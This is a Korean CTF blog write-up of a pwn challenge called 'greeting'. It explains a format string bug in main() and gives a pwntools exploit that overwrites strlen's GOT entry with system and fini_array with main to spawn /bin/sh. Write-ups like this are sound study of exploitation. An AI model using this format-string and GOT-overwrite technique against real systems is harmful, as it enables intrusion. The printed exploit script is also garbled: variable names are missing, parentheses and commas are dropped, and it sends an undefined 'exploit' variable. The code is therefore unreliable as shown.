ipwn

[etc] greeting 본문

CTF's/etc

[etc] greeting

ipwn 2018. 5. 14. 02:05

떤 CTF인지는 잘 모르겠고 친구가 못풀겠다고 해서 한 번 풀어봤다.

(etc로 카테고리를 넘긴 건 그냥 뭔 ctf인지 몰라서이다.)


이번 문제는 greeting문제였는데, 그냥 fsb 문제였던 것 같다? 아마도


일단 바로 분석해보겠다.


int __cdecl main(int argc, const char **argv, const char **envp)

{

  char s; // [esp+1Ch] [ebp-84h]

  char v5; // [esp+5Ch] [ebp-44h]

  unsigned int v6; // [esp+9Ch] [ebp-4h]

 

  v6 = __readgsdword(0x14u);

  printf("Please tell me your name... ");

  if ( !getnline(&v5, 0x40) )

    return puts("Don't ignore me ;( ");

  sprintf(&s, "Nice to meet you, %s :)\n"&v5);

  return printf(&s);

}




메인 함수이다. 딱 봐도 fsb가 터진다는 걸 알 수 있다.


getnline함수를 보겠다.


size_t __cdecl getnline(char *s, int n)

{

  char *v3; // [esp+1Ch] [ebp-Ch]

 

  fgets(s, n, stdin);

  v3 = strchr(s, 10);

  if ( v3 )

    *v3 = 0;

  return strlen(s);

}




그냥 입력을 받는 함수인데 우리는 strlen got를 조져서 system으로 돌릴 것이다.


왜냐면 strlen만이 인자가 1개이고 우리 마음대로 인자를 넣어줄 수 있기 때문에 그렇다.


근데 일단 printf는 strlen이 끝난 뒤에 실행되므로 main함수가 끝나고 뛰는 fini_array를 main함수의 시작으로 돌리면 main함수를 다시 실행시킬 수 있을 것이고, 그럼 strlen은 system으로 바뀌었으니 /bin/sh만 인자로 넘겨주면 끝이다.


일단 그 전에.. 재밌는 함수가 하나 있는데


int nao()

{

  setbuf(stdin, 0);

  setbuf(stdout, 0);

  return system("echo \"Hello, I'm nao\"!");

}




이런 함수가 있다.


즉 system함수를 구하려고 libc를 leak 안해도 된다 이말이다.


이제 한 번 제대로 익스해보자.



아니 근데 도저히 이해가 안가는게 main함수에서는 nao함수를 호출하지 않는다.


도대체 어디서 nao함수가 호출 된 것인지 이해할 수 없다. 아이다는 물론 gdb로 Analyzing 했을 때도 그 어디에도 nao함수는 호출되지 않았는데 왜 저 첫 부분엔 nao함수가 호출이 되었는지 이유를 모르겠다..... 뭐 암튼.. 익스에 큰 영향은 주지 않으니까.. 일단 익스하겠다.


사진을 보면 AAAAAAAA로 A라는 더미값 8개를 넘겨주고 %x로 계속 확인을 해봤는데 


초록색 부분의 맨 앞의 절반부분 그러니까 저 4141202c 부분의 2byte뒷 부분부터 버퍼가 시작되는 걸 알 수 있다.

근데 이 부분은 우리가 어떻게 잘라서 구분을 할 수 없기 때문에 바로 뒤인 12번째의 서식문자부터 우리가 값을 넣어줄 수 있다.


이제 우리는 바로 익스 할 수 있다.


긴 설명은 필요 없을 것 같다.



성공적 (grin)


from pwn import *
 
= process('./greeting')
= ELF('./greeting')
 
system = 0x8048490
fini_array = 0x8049934
strlen = e.got['strlen']
main = 0x80485ed
main_high = main / 0x10000
main_low = main % 0x10000
sys_low = system % 0x10000
 
log.info('strlen_got : ' + hex(strlen))
log.info('fini_array : ' + hex(fini_array))
log.info('main : ' + hex(main))
pay = 'AA' + p32(fini_array + 2+ p32(strlen + 2+ p32(strlen) + p32(fini_array)
pay += '%' + str(main_high - 0x24+ 'x%12$n%13$n'
pay += '%' + str(sys_low - main_high) + 'x%14$hn'
pay += '%' + str(main_low - sys_low) + 'x%15$hn'
p.sendline(exploit)
for i in range(9):
    p.recv()
p.sendline('/bin/sh')
p.interactive()



greeting


Comments